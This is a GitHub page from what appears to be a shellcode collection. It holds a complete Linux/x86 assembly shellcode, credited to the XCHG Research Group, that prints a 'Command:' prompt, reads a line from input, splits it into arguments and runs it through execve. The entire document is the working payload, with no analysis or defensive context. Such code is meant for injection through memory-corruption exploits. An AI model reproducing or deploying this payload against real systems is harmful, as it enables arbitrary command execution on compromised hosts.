shellcodes/shellcode-204.c at master · amit-raut/shellcodes · GitHub

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#    XCHG Research Group
#    Linux/x86 execve read shellcode - 92 bytes
#
#
#    )--[ Writed by 0ut0fbound ]--(
#
#    - http://outofbound.host.sk
#    - http://xchglabs.host.sk

.text

        .globl _start

_start:

# EAX = 0x04 -> syscall write()
        xorl %eax, %eax
        movb $0x4, %al
        xorl %ebx, %ebx
        inc %ebx
        pushl $0x20202020
        pushl $0x3a646e61
        pushl $0x6d6d6f43
        movl %esp, %ecx
        xorl %edx, %edx
        movb $0x9, %dl
        int $0x80

# EAX = 0x03 -> syscall read()
        xorl %eax, %eax
        movb $0x3, %al
        xorl %ebx, %ebx
        xorl %edx, %edx
        movb $0x20, %dl
        subl %edx, %esp
        movl %esp, %ecx
        int $0x80

# buffer[read(0, buffer, sizeof(buffer))] = 0;
        addl %eax, %ecx
        dec %ecx
        movl %ebx, (%ecx)

        movl %esp, %ebx
        addl %eax, %ebx
        movl %eax, %ecx

        xorl %edx, %edx
        push %edx

LOOP1:
        movb (%ebx), %al
        cmp $0x20, %al
        jne CONT
        xorb $0x20, (%ebx)
        inc %ebx
        pushl %ebx
        dec %ebx
CONT:
        dec %ebx
loop LOOP1

        push %ebx

        movl %esp, %ecx
        xorl %eax, %eax
        movb $0xb, %al

        int $0x80

# EAX = 0x01 -> syscall exit
        xorl %eax, %eax
        inc %al
        xorl %ebx, %ebx
        int $0x80